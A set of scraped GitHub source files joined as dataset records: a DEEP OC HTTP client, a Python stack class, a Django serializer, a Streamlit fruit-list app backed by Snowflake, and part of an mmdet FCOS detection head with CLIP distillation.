UNIQUE, \"\n \" metadata TEXT, \"\n \" timestamp REAL\"\n \" )\")\n row = conn.execute(\n \"SELECT metadata, timestamp \"\n \"FROM module \"\n \"WHERE url = ?\", (url,)).fetchone()\n\n now = time.time()\n\n if not row or now - row[1] > self.cache_seconds:\n resp, content = f(self, url, method, **kwargs)\n if not row:\n conn.execute(\n \"INSERT INTO module \"\n \"(url, metadata, timestamp) \"\n \"VALUES (?, ?, ?)\",\n (url, self._json.encode(content), now))\n else:\n conn.execute(\n \"UPDATE module SET\"\n \" metadata = ?, timestamp = ? \"\n \"WHERE url = ?\",\n (self._json.encode(content), now, url))\n else:\n resp = requests.Response\n resp.status_code = 200\n content = json.loads(row[0])\n\n except sqlite3.Error as e:\n raise e\n finally:\n conn.close()\n return resp, content\n else:\n return f(self, url, method, **kwargs)\n\n return wrapper\n\n\nclass DeepOcClient(object):\n \"\"\"The DEEP OC client class.\"\"\"\n\n _catalog_url = (\"https://raw.githubusercontent.com/deephdc/\"\n \"deephdc.github.io/pelican/project_apps.yml\")\n\n def __init__(self, cache=300, state_dir=\"~/.deep-oc/\", debug=False):\n \"\"\"Initialization of DeepOcClient object.\n\n :param bool debug: whether to enable debug logging\n \"\"\"\n\n self.url = None\n\n self.http_debug = debug\n\n self._modules = modules.Modules(self)\n\n self._logger = logging.getLogger(__name__)\n\n if self.http_debug:\n # Logging level is already set on the root logger\n ch = logging.StreamHandler()\n self._logger.addHandler(ch)\n self._logger.propagate = False\n if hasattr(requests, 'logging'):\n rql = requests.logging.getLogger(requests.__name__)\n rql.addHandler(ch)\n # Since we have already setup the root logger on debug, we\n # have to set it up here on WARNING (its original level)\n # otherwise we will get all the requests logging messages\n rql.setLevel(logging.WARNING)\n\n self._json = _JSONEncoder()\n self.session = requests.Session()\n\n self.cache_seconds = cache\n\n self.state_dir = state_dir\n self.cache_dir = None\n self.init_state_dir()\n\n @property\n def modules(self):\n \"\"\"Interface to query for modules.\n\n :return: Modules interface.\n :rtype: deep_oc_client.client.modules.Modules\n \"\"\"\n return self._modules\n\n def init_state_dir(self):\n self.state_dir = os.path.expanduser(self.state_dir)\n self.cache_dir = os.path.join(self.state_dir, \"cache\")\n for d in (\".\", ):\n d = os.path.join(self.state_dir, d)\n if os.path.exists(d):\n if not os.path.isdir(d):\n raise exceptions.ClientException(\n message=\"Cannot use %s, is not a directory\" % d\n )\n else:\n os.mkdir(d)\n\n @cache_request\n def request(self, url, method, json=None, **kwargs):\n \"\"\"Send an HTTP request with the specified characteristics.\n\n Wrapper around `requests.Session.request` to handle tasks such as\n setting headers, JSON encoding/decoding, and error handling.\n\n Arguments that are not handled are passed through to the requests\n library.\n\n :param str url: Path or fully qualified URL of the HTTP request. If\n only a path is provided then the URL will be prefixed\n with the attribute self.url. If a fully qualified URL\n is provided then self.url will be ignored.\n :param str method: The http method to use. (e.g. 'GET', 'POST')\n :param json: Some data to be represented as JSON. (optional)\n :param kwargs: any other parameter that can be passed to\n :meth:`requests.Session.request` (such as `headers`).\n Except:\n\n - `data` will be overwritten by the data in the `json`\n param.\n - `allow_redirects` is ignored as redirects are handled\n by the session.\n\n :returns: The response to the request.\n \"\"\"\n\n method = method.lower()\n\n kwargs.setdefault('headers', kwargs.get('headers', {}))\n\n kwargs[\"headers\"][\"User-Agent\"] = \"orpy-%s\" % version.user_agent\n kwargs[\"headers\"][\"Accept\"] = \"application/json\"\n\n if json is not None:\n kwargs[\"headers\"].setdefault('Content-Type', 'application/json')\n kwargs['data'] = self._json.encode(json)\n\n url = parse.urljoin(self.url, url)\n\n self.http_log_req(method, url, kwargs)\n\n resp = self.session.request(method, url, **kwargs)\n\n self.http_log_resp(resp)\n\n if resp.status_code >= 400:\n raise exceptions.from_response(resp, resp.json(), url, method)\n\n try:\n content = resp.json().get(\"content\", resp.json())\n except Exception:\n content = yaml.safe_load(resp.text)\n\n return resp, content\n\n def _get_links_from_response(self, response):\n d = {}\n for link in response.json().get(\"links\", []):\n d[link[\"rel\"]] = link[\"href\"]\n return d.get(\"self\"), d.get(\"next\"), d.get(\"last\")\n\n def http_log_req(self, method, url, kwargs):\n if not self.http_debug:\n return\n\n string_parts = ['curl -g -i']\n\n if not kwargs.get('verify', True):\n string_parts.append(' --insecure')\n\n string_parts.append(\" '%s'\" % url)\n string_parts.append(' -X %s' % method)\n\n headers = copy.deepcopy(kwargs['headers'])\n self._redact(headers, ['Authorization'])\n # because dict ordering changes from 2 to 3\n keys = sorted(headers.keys())\n for name in keys:\n value = headers[name]\n header = ' -H \"%s: %s\"' % (name, value)\n string_parts.append(header)\n\n if 'data' in kwargs:\n data = json.loads(kwargs['data'])\n string_parts.append(\" -d '%s'\" % json.dumps(data))\n self._logger.debug(\"REQ: %s\" % \"\".join(string_parts))\n\n def http_log_resp(self, resp):\n if not self.http_debug:\n return\n\n if resp.text and resp.status_code != 400:\n try:\n body = json.loads(resp.text)\n self._redact(body, ['access', 'token', 'id'])\n except ValueError:\n body = None\n else:\n body = None\n\n self._logger.debug(\"RESP: [%(status)s] %(headers)s\\nRESP BODY: \"\n \"%(text)s\\n\", {'status': resp.status_code,\n 'headers': resp.headers,\n 'text': json.dumps(body)})\n\n def _redact(self, target, path, text=None):\n \"\"\"Replace the value of a key in `target`.\n\n The key can be at the top level by specifying a list with a single\n key as the path. Nested dictionaries are also supported by passing a\n list of keys to be navigated to find the one that should be replaced.\n In this case the last one is the one that will be replaced.\n\n :param dict target: the dictionary that may have a key to be redacted;\n modified in place\n :param list path: a list representing the nested structure in `target`\n that should be redacted; modified in place\n :param string text: optional text to use as a replacement for the\n redacted key. if text is not specified, the\n default text will be sha1 hash of the value being\n redacted\n \"\"\"\n\n key = path.pop()\n\n # move to the most nested dict\n for p in path:\n try:\n target = target[p]\n except KeyError:\n return\n\n if key in target:\n if text:\n target[key] = text\n elif target[key] is not None:\n # because in python3 byte string handling is ... ug\n value = target[key].encode('utf-8')\n sha1sum = hashlib.sha1(value) # nosec\n target[key] = \"{SHA1}%s\" % sha1sum.hexdigest()\n\n def head(self, url, **kwargs):\n \"\"\"Perform a HEAD request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``HEAD``.\n \"\"\"\n return self.request(url, 'HEAD', **kwargs)\n\n def get(self, url, **kwargs):\n \"\"\"Perform a GET request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``GET``.\n \"\"\"\n return self.request(url, 'GET', **kwargs)\n\n def post(self, url, **kwargs):\n \"\"\"Perform a POST request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``POST``.\n \"\"\"\n return self.request(url, 'POST', **kwargs)\n\n def put(self, url, **kwargs):\n \"\"\"Perform a PUT request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``PUT``.\n \"\"\"\n return self.request(url, 'PUT', **kwargs)\n\n def delete(self, url, **kwargs):\n \"\"\"Perform a DELETE request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``DELETE``.\n \"\"\"\n return self.request(url, 'DELETE', **kwargs)\n\n def patch(self, url, **kwargs):\n \"\"\"Perform a PATCH request.\n\n This calls :py:meth:`.request()` with ``method`` set to ``PATCH``.\n \"\"\"\n return self.request(url, 'PATCH', **kwargs)\n","repo_name":"deephdc/deep-oc-client","sub_path":"deep_oc_client/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":11222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25480803726","text":"from collections import deque\n\nclass Stack:\n \n def __init__(self, data=None) -> None:\n if data == None:\n self.stack = deque()\n elif isinstance(data, list):\n self.stack = deque(data)\n else:\n raise TypeError(\"data must be of type list\")\n \n def add(self, item) -> None:\n self.stack.append(item)\n \n def pop(self) -> object:\n if len(self.stack) > 0:\n return self.stack.pop()\n else:\n raise IndexError\n \n def peek(self) -> object:\n if (len(self.stack) > 0):\n next = self.pop()\n self.add(next)\n return next\n else:\n raise IndexError\n \n def isEmpty(self) -> bool:\n return bool(len(self.stack) == 0)\n \n def __str__(self) -> str:\n string = str(self.stack)[5:]\n return \"Stack\" + string\n \n def __len__(self) -> int:\n return len(self.stack)\n \n def __iter__(self):\n return self\n \n def __next__(self):\n if len(self.stack)>0:\n return self.pop()\n else:\n raise StopIteration\n \n \n \n \nif __name__ == \"__main__\": # pragma: no cover\n stack = Stack()\n\n for i in range(10):\n stack.add(i)\n \n print(f\"Length: {len(stack)}\")\n print(f'Peek {stack.peek()}') \n print(f'Length: {len(stack)}') \n print(f'Pop: {stack.pop()}') \n print(f'Peek: {stack.peek()}')\n print(f'Length: {len(stack)}')\n\n for object in stack:\n print(object)\n \n print(f'Length: {len(stack)}')\n \n ","repo_name":"kctraveler/github-actions","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12726943445","text":"from lstv_api_v1.serializers.base_serializers import LSTVBaseSerializer\n\n\nclass LocationSubscribersSerializer(LSTVBaseSerializer):\n\n def to_representation(self, obj):\n def get_obj_dict(obj):\n return {\n 'id': obj.id,\n 'name': obj.get_full_name_or_email()\n }\n\n if isinstance(obj, list):\n rc = []\n for e in obj:\n rc.append(get_obj_dict(e))\n return rc\n\n else:\n return get_obj_dict(obj)","repo_name":"Stevenpijei/wedding-site","sub_path":"lstv_be/lstv_api_v1/serializers/location_subscribers_serializer.py","file_name":"location_subscribers_serializer.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24134227386","text":"import streamlit\nimport pandas as pd\nimport snowflake.connector\nstreamlit.header(\"Menu\")\n\nstreamlit.title(\"Breakfast favorites\")\n\nmy_fruit_list = pd.read_csv(\"https://uni-lab-files.s3.us-west-2.amazonaws.com/dabw/fruit_macros.txt\")\n\nmy_fruit_list = my_fruit_list.set_index('Fruit')\n\n## Let's put a pick list here so they can pick the fruit they want to include \nfruits_selected=streamlit.multiselect(\"Pick some fruits:\", list(my_fruit_list.index),['Avocado','Strawberries'])\n\nfruits_to_show = my_fruit_list.loc[fruits_selected]\n#Display the table\nstreamlit.dataframe(fruits_to_show)\n\n\nmy_cnx = snowflake.connector.connect(**streamlit.secrets[\"snowflake\"])\nmy_cur = my_cnx.cursor()\n#my_cur.execute(\"SELECT CURRENT_USER(), CURRENT_ACCOUNT(), CURRENT_REGION()\")\n#my_cur.execute(\"select * from fruit_load_list\")\n#my_data_row = my_cur.fetchall()\n#streamlit.header(\"Fruit load list contains\")\n#streamlit.dataframe(my_data_row)\n\n\nstreamlit.header(\"The fruit load list contains:\")\n\ndef get_fruit_load_list():\n with my_cnx.cursor() as my_cur:\n my_cur.execute(\"select * from fruit_load_list\")\n return my_cur.fetchall()\nif streamlit.button(\"Get Fruit load list\"):\n my_cnx = snowflake.connector.connect(**streamlit.secrets[\"snowflake\"])\n my_data_rows=get_fruit_load_list()\n streamlit.dataframe(my_data_rows)\n my_cnx.close()\n#Allow end user to add fruit to the list\ndef insert_row_snowflake(new_fruit):\n with my_cnx.cursor() as my_cur:\n my_cur.execute(\"insert into fruit_load_list values('\"+ new_fruit + \"')\")\n return \"thanks for adding:\"+ new_fruit\nstreamlit.header(\"View our favorite list! also add your favorite list\")\nadd_my_fruit=streamlit.text_input(\"what fruit would you like to add\")\n\nif streamlit.button(\"add a fruit to the list\"):\n my_cnx = snowflake.connector.connect(**streamlit.secrets[\"snowflake\"])\n back_from_function = insert_row_snowflake(add_my_fruit)\n streamlit.text(back_from_function)\n \n \n \n","repo_name":"charanpallati/first_streamlit_app","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5421949767","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom mmcv.cnn import Scale\nfrom mmcv.runner import force_fp32\n\nfrom mmdet.core import distance2bbox, multi_apply, multiclass_nms, reduce_mean\nfrom ..builder import HEADS, build_loss\nfrom .anchor_free_head import AnchorFreeHead\nfrom mmdet.models.utils import build_linear_layer\nfrom ..utils import build_aggregator\nimport copy\n\nINF = 1e8\n\n\n@HEADS.register_module()\nclass FCOSHeadWithDistillation(AnchorFreeHead):\n \"\"\"This is the detector head for zero-shot detection.\n It implement the distillation module in the head. \n The distillation will be conducted in the training.\n \"\"\" # noqa: E501\n\n def __init__(self,\n num_classes,\n in_channels,\n regress_ranges=((-1, 64), (64, 128), (128, 256), (256, 512),\n (512, INF)),\n center_sampling=False,\n center_sample_radius=1.5,\n norm_on_bbox=False,\n centerness_on_reg=False,\n loss_cls=dict(\n type='FocalLoss',\n use_sigmoid=True,\n gamma=2.0,\n alpha=0.25,\n loss_weight=1.0),\n loss_bbox=dict(type='IoULoss', loss_weight=1.0),\n loss_centerness=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n loss_weight=1.0),\n norm_cfg=dict(type='GN', num_groups=32, requires_grad=True),\n init_cfg=dict(\n type='Normal',\n layer='Conv2d',\n std=0.01,\n ### for mapping ###\n override=dict(\n type='Normal',\n name='map_to_clip',\n std=0.01,\n bias_prob=0.01)),\n clip_dim=512,\n fg_vec_cfg=None,\n temperature=1,\n use_centerness=False,\n induced_centerness=True,\n conv_based_mapping=True,\n distill_negative=False,\n use_cross_correlation=False,\n correlation_linear_layer=False,\n **kwargs):\n self.regress_ranges = regress_ranges\n self.center_sampling = center_sampling\n self.center_sample_radius = center_sample_radius\n self.norm_on_bbox = norm_on_bbox\n self.centerness_on_reg = centerness_on_reg\n self.cls_predictor_cfg=dict(type='Linear')\n self.clip_dim=clip_dim\n self.fg_vec_cfg=fg_vec_cfg\n load_value = torch.load(self.fg_vec_cfg.load_path)\n load_value = load_value / load_value.norm(dim=-1, keepdim=True)\n self.load_value = load_value.cuda()\n self.use_centerness = use_centerness\n self.induced_centerness = induced_centerness\n self.conv_based_mapping = conv_based_mapping\n self.distill_negative = distill_negative\n self.use_cross_correlation = use_cross_correlation\n self.correlation_linear_layer = correlation_linear_layer\n self.aggregation_layer = dict(\n type='AggregationLayer',\n aggregator_cfgs=[\n dict(\n type='DepthWiseCorrelationAggregator',\n in_channels=self.clip_dim,\n with_fc=self.correlation_linear_layer,\n out_channels=1 if self.correlation_linear_layer else None)\n ])\n super().__init__(\n num_classes,\n in_channels,\n loss_cls=loss_cls,\n loss_bbox=loss_bbox,\n norm_cfg=norm_cfg,\n init_cfg=init_cfg,\n **kwargs)\n #self.loss_centerness = build_loss(loss_centerness)\n self.conv_cls = None\n self.distill_loss_factor = self.train_cfg.get('distill_loss_factor', 1.0) if self.train_cfg is not None else 1.0 \n self.distillation_loss_config = dict(type='L1Loss', loss_weight=1.0)\n self.distillation_loss = build_loss(self.distillation_loss_config)\n self._temperature = temperature\n if self.use_centerness and self.induced_centerness:\n self.loss_centerness = build_loss(loss_centerness)\n\n def _init_predictor(self):\n \"\"\"Initialize predictor layers of the head.\"\"\"\n ### for mapping ###\n if self.conv_based_mapping:\n self.map_to_clip = nn.Conv2d(\n self.feat_channels, self.clip_dim, 3, padding=1)\n else:\n self.map_to_clip = build_linear_layer(self.cls_predictor_cfg,\n in_features=self.feat_channels,\n out_features=self.clip_dim)\n if self.use_cross_correlation:\n self.fc_cls = build_aggregator(copy.deepcopy(self.aggregation_layer))\n else:\n self.fc_cls = build_linear_layer(self.cls_predictor_cfg,\n in_features=self.clip_dim,\n out_features=self.num_classes,\n bias=False)\n self.conv_reg = nn.Conv2d(self.feat_channels, 4, 3, padding=1)\n if self.filter_base_cate:\n base_load_value = torch.load(self.filter_base_cate)\n base_load_value = base_load_value / base_load_value.norm(dim=-1, keepdim=True)\n #load_value = load_value.t()\n self.base_load_value = base_load_value.cuda()\n \n self.fc_cls_base = build_linear_layer(self.cls_predictor_cfg,\n in_features=self.clip_dim,\n out_features=self.base_load_value.shape[0],\n bias=False) \n\n def _init_layers(self):\n \"\"\"Initialize layers of the head.\"\"\"\n super()._init_layers()\n #self.conv_centerness = nn.Conv2d(self.feat_channels, 1, 3, padding=1)\n self.scales = nn.ModuleList([Scale(1.0) for _ in self.strides])\n if self.use_cross_correlation:\n self.support_feat = self.load_value.unsqueeze(dim=-1).unsqueeze(dim=-1)\n self.support_feat.require_grad = False\n else:\n with torch.no_grad():\n self.fc_cls.weight.copy_(self.load_value)\n for param in self.fc_cls.parameters():\n param.requires_grad = False\n if self.use_centerness:\n # by default we calculate the centerness on the classifcation banch\n self.conv_centerness = nn.Conv2d(self.clip_dim, 1, 3, padding=1)\n\n def forward_train(self,\n x,\n img_metas,\n gt_bboxes,\n gt_labels,\n gt_bboxes_ignore=None,\n gt_feats=None,\n rand_bboxes=None,\n rand_feats=None,\n **kwargs):\n \"\"\"\n Args:\n x (list[Tensor]): Features from FPN.\n img_metas (list[dict]): Meta information of each image, e.g.,\n image size, scaling factor, etc.\n gt_bboxes (Tensor): Ground truth bboxes of the image,\n shape (num_gts, 4).\n gt_labels (Tensor): Ground truth labels of each box,\n shape (num_gts,).\n gt_bboxes_ignore (Tensor): Ground truth bboxes to be\n ignored, shape (num_ignored_gts, 4).\n proposal_cfg (mmcv.Config): Test / postprocessing configuration,\n if None, test_cfg would be used\n\n Returns:\n tuple:\n losses: (dict[str, Tensor]): A dictionary of loss components.\n proposal_list (list[Tensor]): Proposals of each image.\n \"\"\"\n outs = self(x)\n loss_inputs = outs + (gt_bboxes, gt_labels, img_metas, gt_feats, rand_bboxes, rand_feats)\n losses = self.loss(*loss_inputs, gt_bboxes_ignore=gt_bboxes_ignore)\n \n return losses\n\n def forward(self, feats):\n \"\"\"Forward features from the upstream network.\n\n Args:\n feats (tuple[Tensor]): Features from the upstream network, each is\n a 4D-tensor.\n\n Returns:\n tuple:\n cls_scores (list[Tensor]): Box scores for each scale level, \\\n each is a 4D-tensor, the channel number is \\\n num_points * num_classes.\n bbox_preds (list[Tensor]): Box energies / deltas for each \\\n scale level, each is a 4D-tensor, the channel number is \\\n num_points * 4.\n centernesses (list[Tensor]): centerness for each scale level, \\\n each is a 4D-tensor, the channel number is num_points * 1.\n \"\"\"\n # load the pretrained text embedding again\n if not self.use_cross_correlation and (False in (self.fc_cls.weight.data == self.load_value)):\n print('loading value again')\n with torch.no_grad():\n self.fc_cls.weight.copy_(self.load_value)\n for param in self.fc_cls.parameters():\n param.requires_grad = False \n # for testing\n if self.filter_base_cate != None:\n print('base_load_value is loaded')\n with torch.no_grad():\n self.fc_cls_base.weight.copy_(self.base_load_value)\n for param in self.fc_cls_base.parameters():\n param.requires_grad = False \n \n return multi_apply(self.forward_single, feats, self.scales,\n self.strides)\n\n def _forward_single(self, x):\n \"\"\"Forward features of a single scale level.\n\n Args:\n x (Tensor): FPN feature maps of the specified stride.\n\n Returns:\n tuple: Scores for each class, bbox predictions, features\n after classification and regression conv layers, some\n models needs these features like FCOS.\n \"\"\"\n cls_feat = x\n reg_feat = x\n for cls_layer in self.cls_convs:\n cls_feat = cls_layer(cls_feat)\n \n ###### for mapping the feature to clip feature space ######\n # for the version of the self.map_to_clip is an linear layer #\n if not self.conv_based_mapping:\n # change the feat dim from ([bs, dim, h, w]) to ([bs, h, w, dim])\n cls_feat = cls_feat.permute([0, 2, 3, 1])\n cls_feat = self.map_to_clip(cls_feat)\n # for the version of the self.map_to_clip is an conv layer #\n else:\n cls_feat = self.map_to_clip(cls_feat)\n # change the feat dim from ([bs, dim, h, w]) to ([bs, h, w, dim])\n cls_feat = cls_feat.permute([0, 2, 3, 1])\n \n ###### for classifier ######\n # for linear based classifier structure\n if not self.use_cross_correlation: \n ### normalize the cls_feat\n cls_feat = cls_feat / cls_feat.norm(dim=-1, keepdim=True) \n cls_score = self.fc_cls(cls_feat)\n # for test only, calculate the base score\n if self.filter_base_cate != None:\n base_score = self.fc_cls_base(cls_feat)\n cls_score = torch.cat([cls_score, base_score], dim=-1) \n \n # change the cls_score and the cls_feat back to original\n # cls_feat would be ([bs, h, w, dim]) => ([bs, dim, h, w])\n # cls_score would be ([bs, h, w, cls_num]) => ([bs, cls_num, h, w])\n cls_feat = cls_feat.permute([0, 3, 1, 2])\n cls_score = cls_score.permute([0, 3, 1, 2])\n # for the cross-correlation layer\n else:\n #([bs, h, w, dim]) => ([bs, dim, h, w])\n cls_feat = cls_feat.permute([0, 3, 1, 2])\n #cls_feat = cls_feat.reshape([-1, self.clip_dim, h, w])\n cls_feat = cls_feat / cls_feat.norm(dim=1, keepdim=True)\n \n #generate the positve feat\n #select the needed text embedding\n #for the image i the cate_idx should be query_gt_labels[i][0]\n #query_feat torch.Size([1, 1024, 43, 48]) support_feat torch.Size([1, 1024, 1, 1])\n #query_feat_input[0] torch.Size([1, 512, 40, 54]) query_gt_labels[0][0] tensor(2, device='cuda:1') support_feat_input[query_gt_labels[i][0]].unsqueeze(dim=0) torch.Size([1, 512, 1, 1]) result: torch.Size([1, 512, 40, 54])\n #print('before aggregation:', cls_feat.shape, self.support_feat.shape)\n \n cls_score = [self.fc_cls(\n query_feat=cls_feat,\n support_feat=self.support_feat[i].unsqueeze(dim=0)\n ) for i in range(self.support_feat.shape[0])]\n #after reshape: 48 1 torch.Size([2, 512, 160, 100])\n if self.correlation_linear_layer:\n cls_score = torch.cat([res_per_cate[0] for res_per_cate in cls_score], dim=1)\n else:\n cls_score = torch.cat([res_per_cate[0].sum(dim=1, keepdim=True) for res_per_cate in cls_score], dim=1)\n #print(cls_score.shape)\n \n ###### for regression ######\n for reg_layer in self.reg_convs:\n reg_feat = reg_layer(reg_feat)\n bbox_pred = self.conv_reg(reg_feat)\n return cls_score, bbox_pred, cls_feat, reg_feat\n\n def forward_single(self, x, scale, stride):\n \"\"\"Forward features of a single scale level.\n\n Args:\n x (Tensor): FPN feature maps of the specified stride.\n scale (:obj: `mmcv.cnn.Scale`): Learnable scale module to resize\n the bbox prediction.\n stride (int): The corresponding stride for feature maps, only\n used to normalize the bbox prediction when self.norm_on_bbox\n is True.\n\n Returns:\n tuple: scores for each class, bbox predictions and centerness \\\n predictions of input feature maps.\n \"\"\"\n cls_score, bbox_pred, cls_feat, reg_feat = self._forward_single(x)\n # scale the bbox_pred of different level\n # float to avoid overflow when enabling FP16\n bbox_pred = scale(bbox_pred).float()\n if self.norm_on_bbox:\n bbox_pred = F.relu(bbox_pred)\n if not self.training:\n bbox_pred *= stride\n else:\n bbox_pred = bbox_pred.exp()\n \n ### multiple the temperature score to the classification score\n cls_score *= self._temperature\n #print('cls_score', cls_score)\n \n if not self.use_centerness:\n return cls_score, bbox_pred, None, cls_feat\n else:\n centerness = self.conv_centerness(cls_feat)\n if not self.induced_centerness:\n cls_score = cls_score * centerness\n return cls_score, bbox_pred, centerness, cls_feat\n\n @force_fp32(apply_to=('cls_scores', 'bbox_preds', 'cls_feat'))\n def loss(self,\n cls_scores,\n bbox_preds,\n centernesses,\n cls_feat,\n gt_bboxes,\n gt_labels,\n img_metas,\n gt_feats=None, \n rand_bboxes=None, \n rand_feats=None,\n gt_bboxes_ignore=None):\n \"\"\"Compute loss of the head.\n\n Args:\n cls_scores (list[Tensor]): Box scores for each scale level,\n each is a 4D-tensor, the channel number is\n num_points * num_classes.\n bbox_preds (list[Tensor]): Box energies / deltas for each scale\n level, each is a 4D-tensor, the channel number is\n num_points * 4.\n centernesses (list[Tensor]): centerness for each scale level, each\n is a 4D-tensor, the channel number is num_points * 1.\n gt_bboxes (list[Tensor]): Ground truth bboxes for each image with\n shape (num_gts, 4) in [tl_x, tl_y, br_x, br_y] format.\n gt_labels (list[Tensor]): class indices corresponding to each box\n img_metas (list[dict]): Meta information of each image, e.g.,\n image size, scaling factor, etc.\n gt_bboxes_ignore (None | list[Tensor]): specify which bounding\n boxes can be ignored when computing the loss.\n\n Returns:\n dict[str, Tensor]: A dictionary of loss components.\n \"\"\"\n assert len(cls_scores) == len(bbox_preds) == len(cls_feat)\n assert (self.use_centerness and None not in centernesses) or (not self.use_centerness and None in centernesses)\n featmap_sizes = [featmap.size()[-2:] for featmap in cls_scores]\n \n # all_level_points dimension 2 means the (y,x) location of the point only for one image\n # since the feature map of two images are the same\n # [torch.Size([16000, 2]), torch.Size([4000, 2]), torch.Size([1000, 2]), torch.Size([260, 2]), torch.Size([70, 2])] \n # tensor([[ 4., 4.], [ 12., 4.], ...,\n # [ 788., 1276.], [ 796., 1276.]], device='cuda:1')\n all_level_points = self.get_points(featmap_sizes, bbox_preds[0].dtype,\n bbox_preds[0].device)\n labels, bbox_targets, _ = self.get_targets(all_level_points, gt_bboxes,\n gt_labels)\n\n num_imgs = cls_scores[0].size(0)\n # flatten cls_scores, bbox_preds and centerness\n # change the feat dim from ([bs, dim, h, w]) => ([bs, h, w, dim]) => ([bs*h*w, dim])\n flatten_cls_scores = [\n cls_score.permute(0, 2, 3, 1).reshape(-1, self.cls_out_channels)\n for cls_score in cls_scores\n ]\n flatten_bbox_preds = [\n bbox_pred.permute(0, 2, 3, 1).reshape(-1, 4)\n for bbox_pred in bbox_preds\n ]\n flatten_cls_scores = torch.cat(flatten_cls_scores)\n flatten_bbox_preds = torch.cat(flatten_bbox_preds)\n flatten_labels = torch.cat(labels)\n flatten_bbox_targets = torch.cat(bbox_targets)\n # repeat points to align with bbox_preds\n flatten_points = torch.cat(\n [points.repeat(num_imgs, 1) for points in all_level_points])\n\n if self.use_centerness and self.induced_centerness:\n flatten_centerness = [\n centerness.permute(0, 2, 3, 1).reshape(-1)\n for centerness in centernesses\n ]\n flatten_centerness = torch.cat(flatten_centerness) \n\n # FG cat_id: [0, num_classes -1], BG cat_id: num_classes\n bg_class_ind = self.num_classes\n pos_inds = ((flatten_labels >= 0)\n & (flatten_labels < bg_class_ind)).nonzero().reshape(-1)\n num_pos = torch.tensor(\n len(pos_inds), dtype=torch.float, device=bbox_preds[0].device)\n num_pos = max(reduce_mean(num_pos), 1.0)\n loss_cls = self.loss_cls(\n flatten_cls_scores, flatten_labels, avg_factor=num_pos)\n\n pos_bbox_preds = flatten_bbox_preds[pos_inds]\n pos_bbox_targets = flatten_bbox_targets[pos_inds]\n #print('pos_bbox_targets', pos_bbox_targets.shape)\n pos_centerness_targets = self.centerness_target(pos_bbox_targets)\n #print('pos_centerness_targets', pos_centerness_targets.shape)\n # centerness weighted iou loss\n centerness_denorm = max(\n reduce_mean(pos_centerness_targets.sum().detach()), 1e-6)\n\n if len(pos_inds) > 0:\n pos_points = flatten_points[pos_inds]\n pos_decoded_bbox_preds = distance2bbox(pos_points, pos_bbox_preds)\n pos_decoded_target_preds = distance2bbox(pos_points,\n pos_bbox_targets)\n loss_bbox = self.loss_bbox(\n pos_decoded_bbox_preds,\n pos_decoded_target_preds,\n weight=pos_centerness_targets,\n avg_factor=centerness_denorm)\n if self.use_centerness and self.induced_centerness:\n pos_centerness = flatten_centerness[pos_inds]\n loss_centerness = self.loss_centerness(\n pos_centerness, pos_centerness_targets, avg_factor=num_pos)\n \n else:\n loss_bbox = pos_bbox_preds.sum()\n\n ########################### for distillation part ##################################\n # only distill the region which is only belong to any forground\n # select the region which is belongs to the foregourd region for distillation\n # also need to consider the weight of the distillation grids\n \n # assign the distillation bbox to the each grid\n all_distill_bboxes = [torch.cat([gt_bbox, rand_bbox], dim=0) \n for gt_bbox, rand_bbox in zip(gt_bboxes, rand_bboxes)]\n temp_label = [torch.ones(ele.shape[0]).cuda() for ele in all_distill_bboxes]\n _, matched_distill_bbox, assigned_idx = self.get_targets(all_level_points, all_distill_bboxes,\n temp_label) \n # cls_feat 5 list[tensor] tensor [bs,dim,h,w] [2, 512, 152, 100]\n # assigned_idx list[tuple(tensor)] 2 5 [torch.Size([16000]), torch.Size([4000]), torch.Size([1000]), torch.Size([260]), torch.Size([70])]\n # (tensor([-1, -1, -1, ..., -1, -1, -1], device='cuda:0'), \n # tensor([-1, -1, -1, ..., -1, -1, -1], device='cuda:0'), \n # tensor([ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n # ..., \n # -1, -1, -1, -1, -1, -1, -1, -1, -1, 91, 91, 91, 91, 91,\n # 91, 91, 91, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n # ...,\n # -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1], device='cuda:0')\n \n # convert the feat shape, converted cls_feat 5 torch.Size([2, 15200, 512])\n cls_feat = [ele.reshape(list(ele.shape[:-2]) + [-1]).permute([0,2,1]) for ele in cls_feat]\n # aggregate the fg grid prediction base on the idx\n all_predict_feat = []\n for img_id in range(len(assigned_idx)):\n for feat_lvl in range(len(cls_feat)):\n now_idx = assigned_idx[img_id][feat_lvl]\n # select the grid which is not the BG grid\n valid_idx = (now_idx != -1)\n now_feat = cls_feat[feat_lvl][img_id]\n selected_feat = now_feat[valid_idx]\n all_predict_feat.append(selected_feat)\n all_predict_feat = torch.cat(all_predict_feat, dim=0)\n # all_predict_feat torch.Size([4232, 512])\n #print('all_predict_feat', all_predict_feat.shape)\n \n # preprocess the distillation feat\n gt_feats = [patches[:len(gt_bbox)] \n for patches, gt_bbox in zip(gt_feats, gt_bboxes)]\n # all_gt_feat 2 torch.Size([111, 512]) \n all_gt_feat = [torch.cat([gt_feat_per_img, rand_feat_per_img], dim=0)\n for gt_feat_per_img, rand_feat_per_img in zip(gt_feats, rand_feats)]\n # aggregate the fg grid target base on the idx\n all_target_feat = []\n for img_id in range(len(assigned_idx)):\n now_feat = all_gt_feat[img_id]\n for feat_lvl in range(len(cls_feat)):\n now_idx = assigned_idx[img_id][feat_lvl]\n # select the grid which is not the BG grid\n valid_idx = now_idx[now_idx != -1]\n selected_feat = 